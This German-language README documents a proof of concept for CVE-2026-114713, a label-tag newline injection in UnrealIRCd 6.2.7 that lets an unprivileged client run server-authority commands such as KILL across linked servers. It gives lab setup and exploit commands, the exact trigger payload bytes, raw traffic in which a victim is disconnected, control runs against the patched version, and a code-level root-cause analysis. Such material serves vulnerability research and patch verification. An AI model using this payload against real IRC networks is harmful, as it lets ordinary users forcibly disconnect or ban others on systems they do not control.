
POC für CVE-2026-114713 – IRCv3-Label-Tag-Injection in UnrealIRCd, die eine unprivilegierte Client-Nachricht zu Server-zu-Server-Befehlskompetenz auf vernetzten Server-Netzwerken eskaliert. Verwundbare Version 6.2.7 vs. behobene Version 6.2.7.1, Kontrollen enthalten.
Das labeled-response-Modul gibt das vom Client gelieferte IRCv3-Message-Tag „label“
unmaskiert in Antworten zurück. Ein Label-Wert, der einen Zeilenumbruch enthält, kommt
als standardmäßige IRCv3-Tag-Escape-Sequenz \n an, die der Server in ein
echtes LF entschlüsselt und dann roh zurückschreibt. Wenn die gelabelte Anfrage an einen
anderen Server weitergeleitet wird (ein WHOIS <server> <nick> mit zwei Parametern bewirkt genau das),
überquert die Antwort die Server-zu-Server-Verbindung mit diesem rohen LF. Der empfangende
Server parst eine Zeile in zwei, und die zweite Zeile – vom Angreifer gewählter Text, der an
die Antwort angehängt wird – wird als Befehl ausgeführt, der von seinem vertrauenswürdigen
Peer gesendet wurde. Bei IRC überspringt eine Nachricht von einem verbundenen Server die
Privilegienprüfungen, die für Clients gelten, sodass ein gewöhnlicher Benutzer mit einer
einzigen Client-Nachricht KILL, GLINE und andere server-/IRCOp-exklusive Befehle
netzwerkweit ausführen kann. Behoben in 6.2.7.1 und im Hot-Patch-Bundle-20261107;
KEV-gelistet am 2026-11-13 und in freier Wildbahn ausgenutzt.
bundle-20261107 auf 6.0.0 - 6.2.7 (ohne Neustart)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Das Lab hochfahren (zwei verbundene verwundbare Server auf 127.0.0.1:6667/6668, dieselbe Topologie auf 6.2.7.1, plus eine Single-Server-Kontrolle):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Den Trigger auslösen (Angreifer und Opfer auf dem Leaf, WHOIS-Ziel auf dem Hub):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port ist der Leaf, mit dem sich Angreifer und Opfer verbinden; --hub-host/--hub-port
ist der entfernte Server, der das WHOIS-Ziel hält; --whois-server ist der Name, der im
weitergeleiteten WHOIS verwendet wird. Kontrollen: dieselbe Eingabe gegen das behobene Netzwerk
(--port 6678 --hub-port 6677) und gegen einen einzelnen Server
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Richten Sie dies nur auf IRC-Server, die Ihnen gehören.
Trigger-Lauf gegen das verbundene verwundbare Netzwerk (Rohaufzeichnung:
evidence/01-vulnerable-linked-network-trigger.txt). Zuerst die Vorabprüfung – derselbe direkt gesendete KILL wird
abgelehnt, was beweist, dass der Angreifer keine Operator-Rechte hat:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Dann eine gelabelte Zeile (Tag-Escapes so dargestellt, wie sie über die Leitung gesendet werden):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
Der Socket des Opfers – getötet durch einen Befehl, der dem entfernten SERVER zugeschrieben wird:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
Das Server-Log auf dem Host des Opfers benennt den Killer als Server
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Kontrolle A – dieselbe Eingabe im gepatchten, verlinkten Netzwerk 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): Der Label-Wert
enthält einen Zeilenumbruch, sodass der Fix das gesamte Tag ablehnt; die WHOIS-Numeriken kommen
als einfache, unbeschriftete Zeilen zurück und das Opfer bleibt online:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Kontrolle B – dieselbe Eingabe auf einem einzelnen verwundbaren Server, ohne Links
(evidence/03-control-single-server-precondition.txt): Das nicht maskierte Label wird
nur in den eigenen Socket des Angreifers zurückgeschrieben; nichts wird ausgeführt:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Drei Teile greifen in src/modules/labeled-response.c ineinander:
Tag-Werte werden beim Empfang entschärft (message_tag_unescape() in
src/modules/message-tags.c bildet die IRCv3-Escapes \n \r \s \: auf
echte LF/CR/Leerzeichen/Semikolon ab). Der Client sendet nie einen rohen Zeilenumbruch; der
Server erzeugt einen aus zwei druckbaren Bytes.
In 6.2.7 akzeptiert der Tag-Validator alles, was ein Client mit Cap-Unterstützung sendet, bis zu 64 Bytes – es gibt keine Zeichenprüfung des Werts:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
Das Modul formatiert diesen gespeicherten Wert dann mit rohen
snprintf-Aufrufen in Antwortzeilen – gen_start_batch() baut "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" – und umgeht dabei
message_tag_escape(), das jeder andere ausgehende Pfad verwendet. Bei einer Antwort,
die an einen entfernten Client mit Label weitergeleitet wird, schreibt lr_packet() diesen Puffer in die
Server-Verbindung, sodass das LF innerhalb des Labels den Stream am vertrauenswürdigen
Peer aufteilt: Zeile eins ist ein harmloses kurzes @label=p-Tag-Segment, Zeile zwei ist
das, was der Angreifer angehängt hat, ausgeführt als Befehl vom verlinkten
Server. Das WHOIS mit zwei Parametern ist der sauberste Träger, weil es
an den Server des Ziels weitergeleitet wird und eine gelabelte Antwort zurück über die Verbindung garantiert.
Der Fix in 6.2.7.1 ist genau die fehlende Prüfung (erster Diff-Hunk des Releases):